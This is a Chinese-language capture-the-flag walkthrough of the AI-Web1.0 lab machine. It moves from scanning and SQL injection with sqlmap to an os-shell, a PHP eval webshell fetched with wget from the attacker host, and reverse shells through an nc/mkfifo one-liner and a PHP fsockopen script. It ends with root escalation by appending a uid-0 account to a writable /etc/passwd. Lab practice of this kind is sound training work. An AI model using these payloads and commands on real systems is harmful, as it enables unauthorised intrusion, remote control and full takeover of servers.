环境准备:
kali攻击机:192.168.153.130
win10攻击机:192.168.1.157
AI-Web1.0靶机:??????
开启环境!
一、信息收集:
使用 arp-scan -l 扫描c段 参数-l为扫描c段
得到靶机IP地址为 192.168.153.129
使用nmap继续对靶机地址扫描,发现靶机仅开启了80端口。
访问一下靶机地址,192.168.153.129,没什么收获
使用 dirb "http://192.168.153.129" 进一步扫描,发现有一个robots.txt
访问 http://192.168.153.129/robots.txt ,发现 /m3diNf0/ 和 /se3reTdir777/uploads/ 这两个路径
访问/m3diNf0/ 发现不能访问。
访问/se3reTdir777/uploads/ 也不能访问。
使用dirb 对/m3diNf0/扫描 ,发现info.php页面
访问 http://192.168.153.129/m3diNf0/info.php
在phpinfo中爆出了网站的绝对路径。
使用dirb 对 /se3reTdir777/ 扫描,发现一个index.php的页面
打开 http://192.168.153.129/se3reTdir777/index.php ,发现是个查询页面,考虑可能存在sql注入
输入1' 提交,发现报sql语句错,存在sql注入漏洞。
二、漏洞利用
使用burpsuite抓包,得到注入点位置。输入1提交抓包
得到注入点 uid=1&Operation=Submit
使用sqlmap进行sql注入
注入页面为http://192.168.153.129/se3reTdir777/index.php
注入点为uid=1&Operation=Submit
--dbs 列出数据库
sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs
爆出两个库,aiweb1 和 information_schema
-D 指定数据库 aiweb1
--tables 列出表名
sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables
得到两张表,user 和 systemUser
再通过-T 指定表名user
--columns 列出字段
sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
得到firstName、id、lastName三列字段。
再-C 指定字段 id,firstName,lastName
--dump 获取字段中的数据
sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C id,firstName,lastName --dump
得到字段内容,但是都不是靶机的登录信息。
考虑到phpinfo中暴露了网站的根目录,我们是知道网站绝对路径的,故寻思先获取os-shell
os-shell执行条件:
- 网站必须是root权限
- 网站的绝对路径已知
- GPC为off
level 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --level=3 --os-shell
由phpinfo和robots.txt可知一可上传文件的绝对路径
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
选择4,php,然后选择2,绝对路径,然后键入已知绝对路径,回车,获取os-shell
三、上传一句话木马
方法① 通过sqlmap直接上传
在kali本地建立一句话木马
<?php
@eval($_POST['123']);
?>
–file-write:去读取木马文件
–file-dest:后面加要存放文件的地址
sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
在os-shell下dir查看,1.php上传成功
方法②:通过python 快速部署网页sqlmap shell wget 直接下载
在kali 输入
python2用:python -m SimpleHTTPServer 8888
python3用:python -m http.server 8888
用python快速开启网站,端口8888
部署成功。
在os-shell下,去kali的地址wget 2.php
wget http://192.168.153.130:8888/2.php
成功下载到2.php文件。
四、连接一句话木马
写好的 1.php 2.php 存放在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/下
剑蚁连接 http://192.168.153.129/se3reTdir777/uploads/1.php
成功获取webshell
打开终端
我们只有www-data的权限
五、nc反弹连接
方法①
kali开启端口监听,监听 7777端口
nc -lvvp 7777
在剑蚁终端使用nc -e 回弹shell,发现无法使用-e选项,该靶场环境的nc工具不具备-e的选项。
使用以下命令:
rm /tmp/z #rm 删除文件 因为要保证没有/tmp/z 这个文件
mkfifo /tmp/f #mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.153.130 7777 > /tmp/z
此时kali监听窗口收到7777端口回弹的shell
虽然回弹了shell,但是连接极其不稳定,不能满足正常使用。
方法② 上传nc连接脚本
kali端开启7777端口监听 nc -lvvp 7777
kali端编写nc连接脚本,3.php
<?php
$sock=fsockopen("192.168.153.130",7777);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
在os-shell中,通过wget方法,把3.php传进去。
wget http://192.168.153.130:8888/2.php
在os-shell中运行3.php
php 3.php
运行3次后成功,监听窗口成功回弹shell
六、提权拿到flag
通过ls -l /etc/passwd我们发现,当前用户对/etc/passwd有着读写权限
那么尝试在/etc/passwd文件中添加一个root权限的用户进行提权
创建一个hack用户,使用openssl工具加密密码(-1 为MD5加密;-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。)
openssl passwd -1 -salt hack 123456
仿照root的格式,写好hack的账户密码信息 (x处为密码)
root:x:0:0:root:/root:/bin/bash
hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0::/root:/bin/bash
使用echo命令将生成的字符串写入到/etc/passwd文件中
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0::/root:/bin/bash' >> /etc/passwd
这里直接切换hack用户会报错
需要先用脚本提升为交互式shell,再切换用户:
python -c 'import pty;pty.spawn("/bin/bash")'
输入用户密码,回车,成功提权到root
在root目录下,找到flag.txt文件